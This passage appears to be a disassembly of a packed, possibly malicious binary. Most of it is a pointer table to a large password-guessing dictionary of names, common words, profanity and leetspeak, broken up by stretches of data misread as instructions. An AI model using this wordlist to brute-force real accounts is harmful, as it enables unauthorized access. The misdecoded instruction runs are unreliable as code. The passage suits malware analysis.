		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad_0	; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout_0	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode_1	; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday_0	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
; ---------------------------------------------------------------------------
		add	al, 0EBh
		inc	ebx
		add	[ebx+ebp*8], cl
		inc	ebx
		add	[ebx+ebp*8], dl
		inc	ebx
		add	[ebx+ebp*8], bl
		inc	ebx
		add	[eax], ch
		jmp	short loc_43B2CE
; ---------------------------------------------------------------------------
		align 4
		xor	al, 0EBh
		inc	ebx
		add	[ebx+ebp*8], bh
		inc	ebx
		add	[eax-15h], cl
		inc	ebx
		add	[eax-15h], dl
		inc	ebx
		add	[eax-15h], bl
		inc	ebx
		add	[eax-15h], ah
		inc	ebx
		add	[eax-15h], ch
		inc	ebx
		add	[eax-15h], dh
		inc	ebx
		add	[eax-15h], bh
		inc	ebx
		add	[eax-77FFBC15h], al
		jmp	short loc_43B2FA
; ---------------------------------------------------------------------------
		align 4
		dd offset aNagel	; "nagel"
; ---------------------------------------------------------------------------
		cwde
		jmp	short loc_43B302
; ---------------------------------------------------------------------------
		align 10h
		dd offset aNancy	; "nancy"
; ---------------------------------------------------------------------------
		test	al, 0EBh
		inc	ebx
		add	[ebx+ebp*8-1443FFBDh], dh


loc_43B2CE:				; CODE XREF: .nsp0:0043B289j
		inc	ebx
		add	ah, al
		jmp	short loc_43B316
; ---------------------------------------------------------------------------
		align 4
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
; ---------------------------------------------------------------------------
		and	ah, ch


loc_43B2FA:				; CODE XREF: .nsp0:0043B2B5j
		inc	ebx
		add	[eax], ch
		in	al, dx
		inc	ebx
		add	[eax], dh
		in	al, dx


loc_43B302:				; CODE XREF: .nsp0:0043B2BDj
		inc	ebx
		add	[eax], bh
		in	al, dx
		inc	ebx
		add	[esp+ebp*8+43h], al
		add	[esp+ebp*8+43h], cl
		add	[eax-14h], bl
		inc	ebx
; ---------------------------------------------------------------------------
		db 0
		db 64h,	0ECh
; ---------------------------------------------------------------------------


loc_43B316:				; CODE XREF: .nsp0:0043B2D1j
		inc	ebx
		add	[esp+ebp*8+43h], ch
		add	[esp+ebp*8+43h], dh
		add	[esp+ebp*8+43h], bh
		add	[esp+ebp*8-1373FFBDh], al
		inc	ebx
		add	[esp+ebp*8-1363FFBDh], dl
		inc	ebx
		add	[esp+ebp*8-1353FFBDh], ah
		inc	ebx
		add	[esp+ebp*8-133FFFBDh], dh
		inc	ebx
		add	al, cl
		in	al, dx
		inc	ebx
		add	al, dl
		in	al, dx
		inc	ebx
		add	al, bl
		in	al, dx
		inc	ebx
		add	al, ah
		in	al, dx
		inc	ebx
		add	al, ch
		in	al, dx
		inc	ebx
		add	al, dh
		in	al, dx
		inc	ebx
		add	al, bh
		in	al, dx
		inc	ebx
		add	ds:0ED0C0043h[ebp*8], al
		inc	ebx
		add	ds:0ED200043h[ebp*8], dl
		inc	ebx
		add	ds:0ED340043h[ebp*8], ch
		inc	ebx
		add	ds:0ED440043h[ebp*8], bh
		inc	ebx
		add	[ebp+ebp*8+43h], cl
		add	[eax-13h], bl
		inc	ebx
		add	[eax-13h], ah
		inc	ebx
		add	[eax-13h], ch
		inc	ebx
		add	[eax-13h], dh
		inc	ebx
		add	[eax-13h], bh
		inc	ebx
		add	[ebp+ebp*8-126FFFBDh], al
		inc	ebx
		add	[ebp+ebp*8-125BFFBDh], bl
		inc	ebx
		add	[ebp+ebp*8-124BFFBDh], ch
		inc	ebx
		add	[ebp+ebp*8-123BFFBDh], bh
		inc	ebx
		add	al, dl
		in	eax, dx
		inc	ebx
		add	al, bl
		in	eax, dx
		inc	ebx
		add	al, ah
		in	eax, dx
		inc	ebx
		add	al, ch
		in	eax, dx
		inc	ebx
		add	al, dh
		in	eax, dx
		inc	ebx
		add	al, bh
		in	eax, dx
		inc	ebx
; ---------------------------------------------------------------------------
		db 0
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom_3	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday_0	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
; ---------------------------------------------------------------------------
		adc	ch, dh
		inc	ebx
		add	ds:0F5240043h[esi*8], bl
		inc	ebx
		add	ds:0F5340043h[esi*8], ch
		inc	ebx
		add	ds:0F5440043h[esi*8], bh
		inc	ebx
		add	[ebp+esi*8+43h], cl
		add	[ebp+esi*8+43h], dl
		add	[ebp+esi*8+43h], bl
		add	[ebp+esi*8+43h], ah
		add	[eax-0Bh], dh
		inc	ebx
		add	[eax-0Bh], bh
		inc	ebx
		add	[eax-77FFBC0Bh], al
		cmc
		inc	ebx
		add	[eax-67FFBC0Bh], dl
		cmc
		inc	ebx
		add	[eax-57FFBC0Bh], ah
		cmc
		inc	ebx
		add	[eax-47FFBC0Bh], dh
		cmc
		inc	ebx
		add	al, al
		cmc
		inc	ebx
		add	al, cl
		cmc
		inc	ebx
		add	al, dl
		cmc
		inc	ebx
		add	al, bl
		cmc
		inc	ebx
		add	ah, ah
		cmc
		inc	ebx
		add	ah, ch
		cmc
		inc	ebx
		add	ah, dh
		cmc
		inc	ebx
		add	ah, bh
		cmc
		inc	ebx
		add	[esi+esi*8], al
		inc	ebx
		add	[eax], dl
		test	byte ptr [ebx+0], 1Ch
		test	byte ptr [ebx+0], 24h
		test	byte ptr [ebx+0], 2Ch
		test	byte ptr [ebx+0], 34h
		test	byte ptr [ebx+0], 3Ch
		test	byte ptr [ebx+0], 44h
		test	byte ptr [ebx+0], 4Ch
		test	byte ptr [ebx+0], 54h
		test	byte ptr [ebx+0], 5Ch
		test	byte ptr [ebx+0], 64h
		test	byte ptr [ebx+0], 6Ch
		test	byte ptr [ebx+0], 74h
		test	byte ptr [ebx+0], 7Ch
		test	byte ptr [ebx+0], 84h
		test	byte ptr [ebx+0], 8Ch
		test	byte ptr [ebx+0], 94h
		test	byte ptr [ebx+0], 9Ch
		test	byte ptr [ebx+0], 0A4h
		test	byte ptr [ebx+0], 0ACh
		test	byte ptr [ebx+0], 0B4h
		test	byte ptr [ebx+0], 0BCh
		test	byte ptr [ebx+0], 0C4h
		test	byte ptr [ebx+0], 0CCh
		test	byte ptr [ebx+0], 0D4h
		test	byte ptr [ebx+0], 0DCh
		test	byte ptr [ebx+0], 0E8h
		test	byte ptr [ebx+0], 0F0h
		test	byte ptr [ebx+0], 0F8h
		test	byte ptr [ebx+0], 4
		test	dword ptr [ebx+0], offset aSondra ; "sondra"
		sbb	bh, dh
		inc	ebx
		add	[eax], ah
		test	dword ptr [ebx+0], offset aSonya ; "sonya"
		xor	bh, dh
		inc	ebx
		add	[eax], bh
		test	dword ptr [ebx+0], offset aSouth ; "south"
		dec	eax
		test	dword ptr [ebx+0], offset aSparrows ; "sparrows"
		pusha


loc_43B81D:				; CODE XREF: .nsp0:0043B824j
		test	dword ptr [ebx+0], offset aSpell ; "spell"
		jo	short loc_43B81D
		inc	ebx
		add	[eax-9], bh
		inc	ebx
		add	[eax-73FFBC09h], al
		test	dword ptr [ebx+0], offset aSpred ; "spred"
		pushf
		test	dword ptr [ebx+0], offset aSpringer ; "springer"
		mov	al, 0F7h
		inc	ebx
		add	[eax-3FFFBC09h], bh
		test	dword ptr [ebx+0], offset aStacey ; "stacey"
		sal	bh, 1
		inc	ebx
		add	al, bl
		test	dword ptr [ebx+0], offset aStacy ; "stacy"
; ---------------------------------------------------------------------------
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart_0	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent_0	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday_0	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher_0	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday_0	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday_0	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_1	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload_0	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
; ---------------------------------------------------------------------------
		pusha
		inc	byte ptr [ebx+0]
		push	700043FEh
		inc	byte ptr [ebx+0]


loc_43BB48:				; CODE XREF: .nsp0:loc_43BB48j
		jl	short loc_43BB48
		inc	ebx
		add	[esi+edi*8-173FFBDh], al
		inc	ebx
		add	[esi+edi*8-163FFBDh], dl
		inc	ebx
		add	[esi+edi*8-14FFFBDh], ah
		inc	ebx
		add	[eax-3FFFBC02h], bh
		inc	byte ptr [ebx+0]
		enter	43FEh, 0
		aam	0FEh
		inc	ebx
		add	ah, bl
		inc	byte ptr [ebx+0]
; ---------------------------------------------------------------------------
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_2		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey_0	; "key"
